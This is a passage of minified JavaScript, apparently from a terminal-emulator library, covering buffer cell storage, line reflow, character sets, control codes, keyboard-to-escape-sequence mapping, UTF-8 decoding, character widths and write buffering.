s.ExtendedAttrs),t<this.length&&2===this.getWidth(t-1)&&this.setCellFromCodePoint(t,0,1,(null==r?void 0:r.fg)||0,(null==r?void 0:r.bg)||0,(null==r?void 0:r.extended)||new s.ExtendedAttrs);e<t&&e<this.length;)this.setCell(e++,i)}resize(e,t){if(e===this.length)return 4*this._data.length*2<this._data.buffer.byteLength;const i=3*e;if(e>this.length){if(this._data.buffer.byteLength>=4*i)this._data=new Uint32Array(this._data.buffer,0,i);else{const e=new Uint32Array(i);e.set(this._data),this._data=e}for(let i=this.length;i<e;++i)this.setCell(i,t)}else{this._data=this._data.subarray(0,i);const t=Object.keys(this._combined);for(let i=0;i<t.length;i++){const s=parseInt(t[i],10);s>=e&&delete this._combined[s]}const s=Object.keys(this._extendedAttrs);for(let t=0;t<s.length;t++){const i=parseInt(s[t],10);i>=e&&delete this._extendedAttrs[i]}}return this.length=e,4*i*2<this._data.buffer.byteLength}cleanupMemory(){if(4*this._data.length*2<this._data.buffer.byteLength){const e=new Uint32Array(this._data.length);return e.set(this._data),this._data=e,1}return 0}fill(e,t=!1){if(t)for(let t=0;t<this.length;++t)this.isProtected(t)||this.setCell(t,e);else{this._combined={},this._extendedAttrs={};for(let t=0;t<this.length;++t)this.setCell(t,e)}}copyFrom(e){this.length!==e.length?this._data=new Uint32Array(e._data):this._data.set(e._data),this.length=e.length,this._combined={};for(const t in e._combined)this._combined[t]=e._combined[t];this._extendedAttrs={};for(const t in e._extendedAttrs)this._extendedAttrs[t]=e._extendedAttrs[t];this.isWrapped=e.isWrapped}clone(){const e=new h(0);e._data=new Uint32Array(this._data),e.length=this.length;for(const t in this._combined)e._combined[t]=this._combined[t];for(const t in this._extendedAttrs)e._extendedAttrs[t]=this._extendedAttrs[t];return e.isWrapped=this.isWrapped,e}getTrimmedLength(){for(let e=this.length-1;e>=0;--e)if(4194303&this._data[3*e+0])return e+(this._data[3*e+0]>>22);return 0}getNoBgTrimmedLength(){for(let e=this.length-1;e>=0;--e)if(4194303&this._data[3*e+0]||50331648&this._data[3*e+2])return e+(this._data[3*e+0]>>22);return 0}copyCellsFrom(e,t,i,s,r){const n=e._data;if(r)for(let r=s-1;r>=0;r--){for(let e=0;e<3;e++)this._data[3*(i+r)+e]=n[3*(t+r)+e];268435456&n[3*(t+r)+2]&&(this._extendedAttrs[i+r]=e._extendedAttrs[t+r])}else for(let r=0;r<s;r++){for(let e=0;e<3;e++)this._data[3*(i+r)+e]=n[3*(t+r)+e];268435456&n[3*(t+r)+2]&&(this._extendedAttrs[i+r]=e._extendedAttrs[t+r])}const o=Object.keys(e._combined);for(let s=0;s<o.length;s++){const r=parseInt(o[s],10);r>=t&&(this._combined[r-t+i]=e._combined[r])}}translateToString(e=!1,t=0,i=this.length){e&&(i=Math.min(i,this.getTrimmedLength()));let s=\"\";for(;t<i;){const e=this._data[3*t+0],i=2097151&e;s+=2097152&e?this._combined[t]:i?(0,o.stringFromCodePoint)(i):n.WHITESPACE_CELL_CHAR,t+=e>>22||1}return s}}t.BufferLine=h},4841:(e,t)=>{Object.defineProperty(t,\"__esModule\",{value:!0}),t.getRangeLength=void 0,t.getRangeLength=function(e,t){if(e.start.y>e.end.y)throw new Error(`Buffer range end (${e.end.x}, ${e.end.y}) cannot be before start (${e.start.x}, ${e.start.y})`);return t*(e.end.y-e.start.y)+(e.end.x-e.start.x+1)}},4634:(e,t)=>{function i(e,t,i){if(t===e.length-1)return e[t].getTrimmedLength();const s=!e[t].hasContent(i-1)&&1===e[t].getWidth(i-1),r=2===e[t+1].getWidth(0);return s&&r?i-1:i}Object.defineProperty(t,\"__esModule\",{value:!0}),t.getWrappedLineTrimmedLength=t.reflowSmallerGetNewLineLengths=t.reflowLargerApplyNewLayout=t.reflowLargerCreateNewLayout=t.reflowLargerGetLinesToRemove=void 0,t.reflowLargerGetLinesToRemove=function(e,t,s,r,n){const o=[];for(let a=0;a<e.length-1;a++){let h=a,c=e.get(++h);if(!c.isWrapped)continue;const l=[e.get(a)];for(;h<e.length&&c.isWrapped;)l.push(c),c=e.get(++h);if(r>=a&&r<h){a+=l.length-1;continue}let d=0,_=i(l,d,t),u=1,f=0;for(;u<l.length;){const e=i(l,u,t),r=e-f,o=s-_,a=Math.min(r,o);l[d].copyCellsFrom(l[u],f,_,a,!1),_+=a,_===s&&(d++,_=0),f+=a,f===e&&(u++,f=0),0===_&&0!==d&&2===l[d-1].getWidth(s-1)&&(l[d].copyCellsFrom(l[d-1],s-1,_++,1,!1),l[d-1].setCell(s-1,n))}l[d].replaceCells(_,s,n);let v=0;for(let e=l.length-1;e>0&&(e>d||0===l[e].getTrimmedLength());e--)v++;v>0&&(o.push(a+l.length-v),o.push(v)),a+=l.length-1}return o},t.reflowLargerCreateNewLayout=function(e,t){const i=[];let s=0,r=t[s],n=0;for(let o=0;o<e.length;o++)if(r===o){const i=t[++s];e.onDeleteEmitter.fire({index:o-n,amount:i}),o+=i-1,n+=i,r=t[++s]}else i.push(o);return{layout:i,countRemoved:n}},t.reflowLargerApplyNewLayout=function(e,t){const i=[];for(let s=0;s<t.length;s++)i.push(e.get(t[s]));for(let t=0;t<i.length;t++)e.set(t,i[t]);e.length=t.length},t.reflowSmallerGetNewLineLengths=function(e,t,s){const r=[],n=e.map(((s,r)=>i(e,r,t))).reduce(((e,t)=>e+t));let o=0,a=0,h=0;for(;h<n;){if(n-h<s){r.push(n-h);break}o+=s;const c=i(e,a,t);o>c&&(o-=c,a++);const l=2===e[a].getWidth(o-1);l&&o--;const d=l?s-1:s;r.push(d),h+=d}return r},t.getWrappedLineTrimmedLength=i},5295:(e,t,i)=>{Object.defineProperty(t,\"__esModule\",{value:!0}),t.BufferSet=void 0;const s=i(8460),r=i(844),n=i(9092);class o extends r.Disposable{constructor(e,t){super(),this._optionsService=e,this._bufferService=t,this._onBufferActivate=this.register(new s.EventEmitter),this.onBufferActivate=this._onBufferActivate.event,this.reset(),this.register(this._optionsService.onSpecificOptionChange(\"scrollback\",(()=>this.resize(this._bufferService.cols,this._bufferService.rows)))),this.register(this._optionsService.onSpecificOptionChange(\"tabStopWidth\",(()=>this.setupTabStops())))}reset(){this._normal=new n.Buffer(!0,this._optionsService,this._bufferService),this._normal.fillViewportRows(),this._alt=new n.Buffer(!1,this._optionsService,this._bufferService),this._activeBuffer=this._normal,this._onBufferActivate.fire({activeBuffer:this._normal,inactiveBuffer:this._alt}),this.setupTabStops()}get alt(){return this._alt}get active(){return this._activeBuffer}get normal(){return this._normal}activateNormalBuffer(){this._activeBuffer!==this._normal&&(this._normal.x=this._alt.x,this._normal.y=this._alt.y,this._alt.clearAllMarkers(),this._alt.clear(),this._activeBuffer=this._normal,this._onBufferActivate.fire({activeBuffer:this._normal,inactiveBuffer:this._alt}))}activateAltBuffer(e){this._activeBuffer!==this._alt&&(this._alt.fillViewportRows(e),this._alt.x=this._normal.x,this._alt.y=this._normal.y,this._activeBuffer=this._alt,this._onBufferActivate.fire({activeBuffer:this._alt,inactiveBuffer:this._normal}))}resize(e,t){this._normal.resize(e,t),this._alt.resize(e,t),this.setupTabStops(e)}setupTabStops(e){this._normal.setupTabStops(e),this._alt.setupTabStops(e)}}t.BufferSet=o},511:(e,t,i)=>{Object.defineProperty(t,\"__esModule\",{value:!0}),t.CellData=void 0;const s=i(482),r=i(643),n=i(3734);class o extends n.AttributeData{constructor(){super(...arguments),this.content=0,this.fg=0,this.bg=0,this.extended=new n.ExtendedAttrs,this.combinedData=\"\"}static fromCharData(e){const t=new o;return t.setFromCharData(e),t}isCombined(){return 2097152&this.content}getWidth(){return this.content>>22}getChars(){return 2097152&this.content?this.combinedData:2097151&this.content?(0,s.stringFromCodePoint)(2097151&this.content):\"\"}getCode(){return this.isCombined()?this.combinedData.charCodeAt(this.combinedData.length-1):2097151&this.content}setFromCharData(e){this.fg=e[r.CHAR_DATA_ATTR_INDEX],this.bg=0;let t=!1;if(e[r.CHAR_DATA_CHAR_INDEX].length>2)t=!0;else if(2===e[r.CHAR_DATA_CHAR_INDEX].length){const i=e[r.CHAR_DATA_CHAR_INDEX].charCodeAt(0);if(55296<=i&&i<=56319){const s=e[r.CHAR_DATA_CHAR_INDEX].charCodeAt(1);56320<=s&&s<=57343?this.content=1024*(i-55296)+s-56320+65536|e[r.CHAR_DATA_WIDTH_INDEX]<<22:t=!0}else t=!0}else this.content=e[r.CHAR_DATA_CHAR_INDEX].charCodeAt(0)|e[r.CHAR_DATA_WIDTH_INDEX]<<22;t&&(this.combinedData=e[r.CHAR_DATA_CHAR_INDEX],this.content=2097152|e[r.CHAR_DATA_WIDTH_INDEX]<<22)}getAsCharData(){return[this.fg,this.getChars(),this.getWidth(),this.getCode()]}}t.CellData=o},643:(e,t)=>{Object.defineProperty(t,\"__esModule\",{value:!0}),t.WHITESPACE_CELL_CODE=t.WHITESPACE_CELL_WIDTH=t.WHITESPACE_CELL_CHAR=t.NULL_CELL_CODE=t.NULL_CELL_WIDTH=t.NULL_CELL_CHAR=t.CHAR_DATA_CODE_INDEX=t.CHAR_DATA_WIDTH_INDEX=t.CHAR_DATA_CHAR_INDEX=t.CHAR_DATA_ATTR_INDEX=t.DEFAULT_EXT=t.DEFAULT_ATTR=t.DEFAULT_COLOR=void 0,t.DEFAULT_COLOR=0,t.DEFAULT_ATTR=256|t.DEFAULT_COLOR<<9,t.DEFAULT_EXT=0,t.CHAR_DATA_ATTR_INDEX=0,t.CHAR_DATA_CHAR_INDEX=1,t.CHAR_DATA_WIDTH_INDEX=2,t.CHAR_DATA_CODE_INDEX=3,t.NULL_CELL_CHAR=\"\",t.NULL_CELL_WIDTH=1,t.NULL_CELL_CODE=0,t.WHITESPACE_CELL_CHAR=\" \",t.WHITESPACE_CELL_WIDTH=1,t.WHITESPACE_CELL_CODE=32},4863:(e,t,i)=>{Object.defineProperty(t,\"__esModule\",{value:!0}),t.Marker=void 0;const s=i(8460),r=i(844);class n{get id(){return this._id}constructor(e){this.line=e,this.isDisposed=!1,this._disposables=[],this._id=n._nextId++,this._onDispose=this.register(new s.EventEmitter),this.onDispose=this._onDispose.event}dispose(){this.isDisposed||(this.isDisposed=!0,this.line=-1,this._onDispose.fire(),(0,r.disposeArray)(this._disposables),this._disposables.length=0)}register(e){return this._disposables.push(e),e}}t.Marker=n,n._nextId=1},7116:(e,t)=>{Object.defineProperty(t,\"__esModule\",{value:!0}),t.DEFAULT_CHARSET=t.CHARSETS=void 0,t.CHARSETS={},t.DEFAULT_CHARSET=t.CHARSETS.B,t.CHARSETS[0]={\"`\":\"◆\",a:\"▒\",b:\"␉\",c:\"␌\",d:\"␍\",e:\"␊\",f:\"°\",g:\"±\",h:\"␤\",i:\"␋\",j:\"┘\",k:\"┐\",l:\"┌\",m:\"└\",n:\"┼\",o:\"⎺\",p:\"⎻\",q:\"─\",r:\"⎼\",s:\"⎽\",t:\"├\",u:\"┤\",v:\"┴\",w:\"┬\",x:\"│\",y:\"≤\",z:\"≥\",\"{\":\"π\",\"|\":\"≠\",\"}\":\"£\",\"~\":\"·\"},t.CHARSETS.A={\"#\":\"£\"},t.CHARSETS.B=void 0,t.CHARSETS[4]={\"#\":\"£\",\"@\":\"¾\",\"[\":\"ij\",\"\\\\\":\"½\",\"]\":\"|\",\"{\":\"¨\",\"|\":\"f\",\"}\":\"¼\",\"~\":\"´\"},t.CHARSETS.C=t.CHARSETS[5]={\"[\":\"Ä\",\"\\\\\":\"Ö\",\"]\":\"Å\",\"^\":\"Ü\",\"`\":\"é\",\"{\":\"ä\",\"|\":\"ö\",\"}\":\"å\",\"~\":\"ü\"},t.CHARSETS.R={\"#\":\"£\",\"@\":\"à\",\"[\":\"°\",\"\\\\\":\"ç\",\"]\":\"§\",\"{\":\"é\",\"|\":\"ù\",\"}\":\"è\",\"~\":\"¨\"},t.CHARSETS.Q={\"@\":\"à\",\"[\":\"â\",\"\\\\\":\"ç\",\"]\":\"ê\",\"^\":\"î\",\"`\":\"ô\",\"{\":\"é\",\"|\":\"ù\",\"}\":\"è\",\"~\":\"û\"},t.CHARSETS.K={\"@\":\"§\",\"[\":\"Ä\",\"\\\\\":\"Ö\",\"]\":\"Ü\",\"{\":\"ä\",\"|\":\"ö\",\"}\":\"ü\",\"~\":\"ß\"},t.CHARSETS.Y={\"#\":\"£\",\"@\":\"§\",\"[\":\"°\",\"\\\\\":\"ç\",\"]\":\"é\",\"`\":\"ù\",\"{\":\"à\",\"|\":\"ò\",\"}\":\"è\",\"~\":\"ì\"},t.CHARSETS.E=t.CHARSETS[6]={\"@\":\"Ä\",\"[\":\"Æ\",\"\\\\\":\"Ø\",\"]\":\"Å\",\"^\":\"Ü\",\"`\":\"ä\",\"{\":\"æ\",\"|\":\"ø\",\"}\":\"å\",\"~\":\"ü\"},t.CHARSETS.Z={\"#\":\"£\",\"@\":\"§\",\"[\":\"¡\",\"\\\\\":\"Ñ\",\"]\":\"¿\",\"{\":\"°\",\"|\":\"ñ\",\"}\":\"ç\"},t.CHARSETS.H=t.CHARSETS[7]={\"@\":\"É\",\"[\":\"Ä\",\"\\\\\":\"Ö\",\"]\":\"Å\",\"^\":\"Ü\",\"`\":\"é\",\"{\":\"ä\",\"|\":\"ö\",\"}\":\"å\",\"~\":\"ü\"},t.CHARSETS[\"=\"]={\"#\":\"ù\",\"@\":\"à\",\"[\":\"é\",\"\\\\\":\"ç\",\"]\":\"ê\",\"^\":\"î\",_:\"è\",\"`\":\"ô\",\"{\":\"ä\",\"|\":\"ö\",\"}\":\"ü\",\"~\":\"û\"}},2584:(e,t)=>{var i,s,r;Object.defineProperty(t,\"__esModule\",{value:!0}),t.C1_ESCAPED=t.C1=t.C0=void 0,function(e){e.NUL=\"\\0\",e.SOH=\"\u0001\",e.STX=\"\u0002\",e.ETX=\"\u0003\",e.EOT=\"\u0004\",e.ENQ=\"\u0005\",e.ACK=\"\u0006\",e.BEL=\"\u0007\",e.BS=\"\\b\",e.HT=\"\\t\",e.LF=\"\\n\",e.VT=\"\\v\",e.FF=\"\\f\",e.CR=\"\\r\",e.SO=\"\u000e\",e.SI=\"\u000f\",e.DLE=\"\u0010\",e.DC1=\"\u0011\",e.DC2=\"\u0012\",e.DC3=\"\u0013\",e.DC4=\"\u0014\",e.NAK=\"\u0015\",e.SYN=\"\u0016\",e.ETB=\"\u0017\",e.CAN=\"\u0018\",e.EM=\"\u0019\",e.SUB=\"\u001a\",e.ESC=\"\u001b\",e.FS=\"\u001c\",e.GS=\"\u001d\",e.RS=\"\u001e\",e.US=\"\u001f\",e.SP=\" \",e.DEL=\"\"}(i||(t.C0=i={})),function(e){e.PAD=\"\",e.HOP=\"\",e.BPH=\"\",e.NBH=\"\",e.IND=\"\",e.NEL=\"\",e.SSA=\"\",e.ESA=\"\",e.HTS=\"\",e.HTJ=\"\",e.VTS=\"\",e.PLD=\"\",e.PLU=\"\",e.RI=\"\",e.SS2=\"\",e.SS3=\"\",e.DCS=\"\",e.PU1=\"\",e.PU2=\"\",e.STS=\"\",e.CCH=\"\",e.MW=\"\",e.SPA=\"\",e.EPA=\"\",e.SOS=\"\",e.SGCI=\"\",e.SCI=\"\",e.CSI=\"\",e.ST=\"\",e.OSC=\"\",e.PM=\"\",e.APC=\"\"}(s||(t.C1=s={})),function(e){e.ST=`${i.ESC}\\\\`}(r||(t.C1_ESCAPED=r={}))},7399:(e,t,i)=>{Object.defineProperty(t,\"__esModule\",{value:!0}),t.evaluateKeyboardEvent=void 0;const s=i(2584),r={48:[\"0\",\")\"],49:[\"1\",\"!\"],50:[\"2\",\"@\"],51:[\"3\",\"#\"],52:[\"4\",\"$\"],53:[\"5\",\"%\"],54:[\"6\",\"^\"],55:[\"7\",\"&\"],56:[\"8\",\"*\"],57:[\"9\",\"(\"],186:[\";\",\":\"],187:[\"=\",\"+\"],188:[\",\",\"<\"],189:[\"-\",\"_\"],190:[\".\",\">\"],191:[\"/\",\"?\"],192:[\"`\",\"~\"],219:[\"[\",\"{\"],220:[\"\\\\\",\"|\"],221:[\"]\",\"}\"],222:[\"'\",'\"']};t.evaluateKeyboardEvent=function(e,t,i,n){const o={type:0,cancel:!1,key:void 0},a=(e.shiftKey?1:0)|(e.altKey?2:0)|(e.ctrlKey?4:0)|(e.metaKey?8:0);switch(e.keyCode){case 0:\"UIKeyInputUpArrow\"===e.key?o.key=t?s.C0.ESC+\"OA\":s.C0.ESC+\"[A\":\"UIKeyInputLeftArrow\"===e.key?o.key=t?s.C0.ESC+\"OD\":s.C0.ESC+\"[D\":\"UIKeyInputRightArrow\"===e.key?o.key=t?s.C0.ESC+\"OC\":s.C0.ESC+\"[C\":\"UIKeyInputDownArrow\"===e.key&&(o.key=t?s.C0.ESC+\"OB\":s.C0.ESC+\"[B\");break;case 8:if(e.altKey){o.key=s.C0.ESC+s.C0.DEL;break}o.key=s.C0.DEL;break;case 9:if(e.shiftKey){o.key=s.C0.ESC+\"[Z\";break}o.key=s.C0.HT,o.cancel=!0;break;case 13:o.key=e.altKey?s.C0.ESC+s.C0.CR:s.C0.CR,o.cancel=!0;break;case 27:o.key=s.C0.ESC,e.altKey&&(o.key=s.C0.ESC+s.C0.ESC),o.cancel=!0;break;case 37:if(e.metaKey)break;a?(o.key=s.C0.ESC+\"[1;\"+(a+1)+\"D\",o.key===s.C0.ESC+\"[1;3D\"&&(o.key=s.C0.ESC+(i?\"b\":\"[1;5D\"))):o.key=t?s.C0.ESC+\"OD\":s.C0.ESC+\"[D\";break;case 39:if(e.metaKey)break;a?(o.key=s.C0.ESC+\"[1;\"+(a+1)+\"C\",o.key===s.C0.ESC+\"[1;3C\"&&(o.key=s.C0.ESC+(i?\"f\":\"[1;5C\"))):o.key=t?s.C0.ESC+\"OC\":s.C0.ESC+\"[C\";break;case 38:if(e.metaKey)break;a?(o.key=s.C0.ESC+\"[1;\"+(a+1)+\"A\",i||o.key!==s.C0.ESC+\"[1;3A\"||(o.key=s.C0.ESC+\"[1;5A\")):o.key=t?s.C0.ESC+\"OA\":s.C0.ESC+\"[A\";break;case 40:if(e.metaKey)break;a?(o.key=s.C0.ESC+\"[1;\"+(a+1)+\"B\",i||o.key!==s.C0.ESC+\"[1;3B\"||(o.key=s.C0.ESC+\"[1;5B\")):o.key=t?s.C0.ESC+\"OB\":s.C0.ESC+\"[B\";break;case 45:e.shiftKey||e.ctrlKey||(o.key=s.C0.ESC+\"[2~\");break;case 46:o.key=a?s.C0.ESC+\"[3;\"+(a+1)+\"~\":s.C0.ESC+\"[3~\";break;case 36:o.key=a?s.C0.ESC+\"[1;\"+(a+1)+\"H\":t?s.C0.ESC+\"OH\":s.C0.ESC+\"[H\";break;case 35:o.key=a?s.C0.ESC+\"[1;\"+(a+1)+\"F\":t?s.C0.ESC+\"OF\":s.C0.ESC+\"[F\";break;case 33:e.shiftKey?o.type=2:e.ctrlKey?o.key=s.C0.ESC+\"[5;\"+(a+1)+\"~\":o.key=s.C0.ESC+\"[5~\";break;case 34:e.shiftKey?o.type=3:e.ctrlKey?o.key=s.C0.ESC+\"[6;\"+(a+1)+\"~\":o.key=s.C0.ESC+\"[6~\";break;case 112:o.key=a?s.C0.ESC+\"[1;\"+(a+1)+\"P\":s.C0.ESC+\"OP\";break;case 113:o.key=a?s.C0.ESC+\"[1;\"+(a+1)+\"Q\":s.C0.ESC+\"OQ\";break;case 114:o.key=a?s.C0.ESC+\"[1;\"+(a+1)+\"R\":s.C0.ESC+\"OR\";break;case 115:o.key=a?s.C0.ESC+\"[1;\"+(a+1)+\"S\":s.C0.ESC+\"OS\";break;case 116:o.key=a?s.C0.ESC+\"[15;\"+(a+1)+\"~\":s.C0.ESC+\"[15~\";break;case 117:o.key=a?s.C0.ESC+\"[17;\"+(a+1)+\"~\":s.C0.ESC+\"[17~\";break;case 118:o.key=a?s.C0.ESC+\"[18;\"+(a+1)+\"~\":s.C0.ESC+\"[18~\";break;case 119:o.key=a?s.C0.ESC+\"[19;\"+(a+1)+\"~\":s.C0.ESC+\"[19~\";break;case 120:o.key=a?s.C0.ESC+\"[20;\"+(a+1)+\"~\":s.C0.ESC+\"[20~\";break;case 121:o.key=a?s.C0.ESC+\"[21;\"+(a+1)+\"~\":s.C0.ESC+\"[21~\";break;case 122:o.key=a?s.C0.ESC+\"[23;\"+(a+1)+\"~\":s.C0.ESC+\"[23~\";break;case 123:o.key=a?s.C0.ESC+\"[24;\"+(a+1)+\"~\":s.C0.ESC+\"[24~\";break;default:if(!e.ctrlKey||e.shiftKey||e.altKey||e.metaKey)if(i&&!n||!e.altKey||e.metaKey)!i||e.altKey||e.ctrlKey||e.shiftKey||!e.metaKey?e.key&&!e.ctrlKey&&!e.altKey&&!e.metaKey&&e.keyCode>=48&&1===e.key.length?o.key=e.key:e.key&&e.ctrlKey&&(\"_\"===e.key&&(o.key=s.C0.US),\"@\"===e.key&&(o.key=s.C0.NUL)):65===e.keyCode&&(o.type=1);else{const t=r[e.keyCode],i=null==t?void 0:t[e.shiftKey?1:0];if(i)o.key=s.C0.ESC+i;else if(e.keyCode>=65&&e.keyCode<=90){const t=e.ctrlKey?e.keyCode-64:e.keyCode+32;let i=String.fromCharCode(t);e.shiftKey&&(i=i.toUpperCase()),o.key=s.C0.ESC+i}else if(32===e.keyCode)o.key=s.C0.ESC+(e.ctrlKey?s.C0.NUL:\" \");else if(\"Dead\"===e.key&&e.code.startsWith(\"Key\")){let t=e.code.slice(3,4);e.shiftKey||(t=t.toLowerCase()),o.key=s.C0.ESC+t,o.cancel=!0}}else e.keyCode>=65&&e.keyCode<=90?o.key=String.fromCharCode(e.keyCode-64):32===e.keyCode?o.key=s.C0.NUL:e.keyCode>=51&&e.keyCode<=55?o.key=String.fromCharCode(e.keyCode-51+27):56===e.keyCode?o.key=s.C0.DEL:219===e.keyCode?o.key=s.C0.ESC:220===e.keyCode?o.key=s.C0.FS:221===e.keyCode&&(o.key=s.C0.GS)}return o}},482:(e,t)=>{Object.defineProperty(t,\"__esModule\",{value:!0}),t.Utf8ToUtf32=t.StringToUtf32=t.utf32ToString=t.stringFromCodePoint=void 0,t.stringFromCodePoint=function(e){return e>65535?(e-=65536,String.fromCharCode(55296+(e>>10))+String.fromCharCode(e%1024+56320)):String.fromCharCode(e)},t.utf32ToString=function(e,t=0,i=e.length){let s=\"\";for(let r=t;r<i;++r){let t=e[r];t>65535?(t-=65536,s+=String.fromCharCode(55296+(t>>10))+String.fromCharCode(t%1024+56320)):s+=String.fromCharCode(t)}return s},t.StringToUtf32=class{constructor(){this._interim=0}clear(){this._interim=0}decode(e,t){const i=e.length;if(!i)return 0;let s=0,r=0;if(this._interim){const i=e.charCodeAt(r++);56320<=i&&i<=57343?t[s++]=1024*(this._interim-55296)+i-56320+65536:(t[s++]=this._interim,t[s++]=i),this._interim=0}for(let n=r;n<i;++n){const r=e.charCodeAt(n);if(55296<=r&&r<=56319){if(++n>=i)return this._interim=r,s;const o=e.charCodeAt(n);56320<=o&&o<=57343?t[s++]=1024*(r-55296)+o-56320+65536:(t[s++]=r,t[s++]=o)}else 65279!==r&&(t[s++]=r)}return s}},t.Utf8ToUtf32=class{constructor(){this.interim=new Uint8Array(3)}clear(){this.interim.fill(0)}decode(e,t){const i=e.length;if(!i)return 0;let s,r,n,o,a=0,h=0,c=0;if(this.interim[0]){let s=!1,r=this.interim[0];r&=192==(224&r)?31:224==(240&r)?15:7;let n,o=0;for(;(n=63&this.interim[++o])&&o<4;)r<<=6,r|=n;const h=192==(224&this.interim[0])?2:224==(240&this.interim[0])?3:4,l=h-o;for(;c<l;){if(c>=i)return 0;if(n=e[c++],128!=(192&n)){c--,s=!0;break}this.interim[o++]=n,r<<=6,r|=63&n}s||(2===h?r<128?c--:t[a++]=r:3===h?r<2048||r>=55296&&r<=57343||65279===r||(t[a++]=r):r<65536||r>1114111||(t[a++]=r)),this.interim.fill(0)}const l=i-4;let d=c;for(;d<i;){for(;!(!(d<l)||128&(s=e[d])||128&(r=e[d+1])||128&(n=e[d+2])||128&(o=e[d+3]));)t[a++]=s,t[a++]=r,t[a++]=n,t[a++]=o,d+=4;if(s=e[d++],s<128)t[a++]=s;else if(192==(224&s)){if(d>=i)return this.interim[0]=s,a;if(r=e[d++],128!=(192&r)){d--;continue}if(h=(31&s)<<6|63&r,h<128){d--;continue}t[a++]=h}else if(224==(240&s)){if(d>=i)return this.interim[0]=s,a;if(r=e[d++],128!=(192&r)){d--;continue}if(d>=i)return this.interim[0]=s,this.interim[1]=r,a;if(n=e[d++],128!=(192&n)){d--;continue}if(h=(15&s)<<12|(63&r)<<6|63&n,h<2048||h>=55296&&h<=57343||65279===h)continue;t[a++]=h}else if(240==(248&s)){if(d>=i)return this.interim[0]=s,a;if(r=e[d++],128!=(192&r)){d--;continue}if(d>=i)return this.interim[0]=s,this.interim[1]=r,a;if(n=e[d++],128!=(192&n)){d--;continue}if(d>=i)return this.interim[0]=s,this.interim[1]=r,this.interim[2]=n,a;if(o=e[d++],128!=(192&o)){d--;continue}if(h=(7&s)<<18|(63&r)<<12|(63&n)<<6|63&o,h<65536||h>1114111)continue;t[a++]=h}}return a}}},225:(e,t)=>{Object.defineProperty(t,\"__esModule\",{value:!0}),t.UnicodeV6=void 0;const i=[[768,879],[1155,1158],[1160,1161],[1425,1469],[1471,1471],[1473,1474],[1476,1477],[1479,1479],[1536,1539],[1552,1557],[1611,1630],[1648,1648],[1750,1764],[1767,1768],[1770,1773],[1807,1807],[1809,1809],[1840,1866],[1958,1968],[2027,2035],[2305,2306],[2364,2364],[2369,2376],[2381,2381],[2385,2388],[2402,2403],[2433,2433],[2492,2492],[2497,2500],[2509,2509],[2530,2531],[2561,2562],[2620,2620],[2625,2626],[2631,2632],[2635,2637],[2672,2673],[2689,2690],[2748,2748],[2753,2757],[2759,2760],[2765,2765],[2786,2787],[2817,2817],[2876,2876],[2879,2879],[2881,2883],[2893,2893],[2902,2902],[2946,2946],[3008,3008],[3021,3021],[3134,3136],[3142,3144],[3146,3149],[3157,3158],[3260,3260],[3263,3263],[3270,3270],[3276,3277],[3298,3299],[3393,3395],[3405,3405],[3530,3530],[3538,3540],[3542,3542],[3633,3633],[3636,3642],[3655,3662],[3761,3761],[3764,3769],[3771,3772],[3784,3789],[3864,3865],[3893,3893],[3895,3895],[3897,3897],[3953,3966],[3968,3972],[3974,3975],[3984,3991],[3993,4028],[4038,4038],[4141,4144],[4146,4146],[4150,4151],[4153,4153],[4184,4185],[4448,4607],[4959,4959],[5906,5908],[5938,5940],[5970,5971],[6002,6003],[6068,6069],[6071,6077],[6086,6086],[6089,6099],[6109,6109],[6155,6157],[6313,6313],[6432,6434],[6439,6440],[6450,6450],[6457,6459],[6679,6680],[6912,6915],[6964,6964],[6966,6970],[6972,6972],[6978,6978],[7019,7027],[7616,7626],[7678,7679],[8203,8207],[8234,8238],[8288,8291],[8298,8303],[8400,8431],[12330,12335],[12441,12442],[43014,43014],[43019,43019],[43045,43046],[64286,64286],[65024,65039],[65056,65059],[65279,65279],[65529,65531]],s=[[68097,68099],[68101,68102],[68108,68111],[68152,68154],[68159,68159],[119143,119145],[119155,119170],[119173,119179],[119210,119213],[119362,119364],[917505,917505],[917536,917631],[917760,917999]];let r;t.UnicodeV6=class{constructor(){if(this.version=\"6\",!r){r=new Uint8Array(65536),r.fill(1),r[0]=0,r.fill(0,1,32),r.fill(0,127,160),r.fill(2,4352,4448),r[9001]=2,r[9002]=2,r.fill(2,11904,42192),r[12351]=1,r.fill(2,44032,55204),r.fill(2,63744,64256),r.fill(2,65040,65050),r.fill(2,65072,65136),r.fill(2,65280,65377),r.fill(2,65504,65511);for(let e=0;e<i.length;++e)r.fill(0,i[e][0],i[e][1]+1)}}wcwidth(e){return e<32?0:e<127?1:e<65536?r[e]:function(e,t){let i,s=0,r=t.length-1;if(e<t[0][0]||e>t[r][1])return!1;for(;r>=s;)if(i=s+r>>1,e>t[i][1])s=i+1;else{if(!(e<t[i][0]))return!0;r=i-1}return!1}(e,s)?0:e>=131072&&e<=196605||e>=196608&&e<=262141?2:1}}},5981:(e,t,i)=>{Object.defineProperty(t,\"__esModule\",{value:!0}),t.WriteBuffer=void 0;const s=i(8460),r=i(844);class n extends r.Disposable{constructor(e){super(),this._action=e,this._writeBuffer=[],this._callbacks=[],this._pendingData=0,this._bufferOffset=0,this._isSyncWriting=!1,this._syncCalls=0,this._didUserInput=!1,this._onWriteParsed=this.register(new s.EventEmitter),this.onWriteParsed=this._onWriteParsed.event}handleUserInput(){this._didUserInput=!0}writeSync(e,t){if(void 0!==t&&this._syncCalls>t)return void(this._syncCalls=0);if(this._pendingData+=e.length,this._writeBuffer.push(e),this._callbacks.push(void 0),this._syncCalls++,this._isSyncWriting)return;let i;for(this._isSyncWriting=!0;i=this._writeBuffer.shift();){this._action(i);const e=this._callbacks.shift();e&&e()}this._pendingData=0,this._bufferOffset=2147483647,this._isSyncWriting=!1,this._syncCalls=0}write(e,t){if(this._pendingData>5e7)throw new Error(\"write data discarded, use flow control to avoid losing data\");if(!this._writeBuffer.length){if(this._bufferOffset=0,this._didUserInput)return this._didUserInput=!1,this._pendingData+=e.length,this._writeBuffer.push(e),this._callbacks.push(t),void this._innerWrite();setTimeout((()=>this._innerWrite()))}this._pendingData+=e.length,this._writeBuffer.push(e),this._callbacks.push(t)}_innerWrite(e=0,t=!0){const i=e||Date.now();for(;this._writeBuffer.length>this._bufferOffset;){const e=this._writeBuffer[this._bufferOffset],s=this._action(e,t);if(s){const e=e=>Date.now()-i>=12?setTimeout((()=>this._innerWrite(0,e))):this._innerWrite(i,e);return void s.catch((e=>(queueMicrotask((()=>{throw e})),Promise.resolve(!1)))).then(e)}const 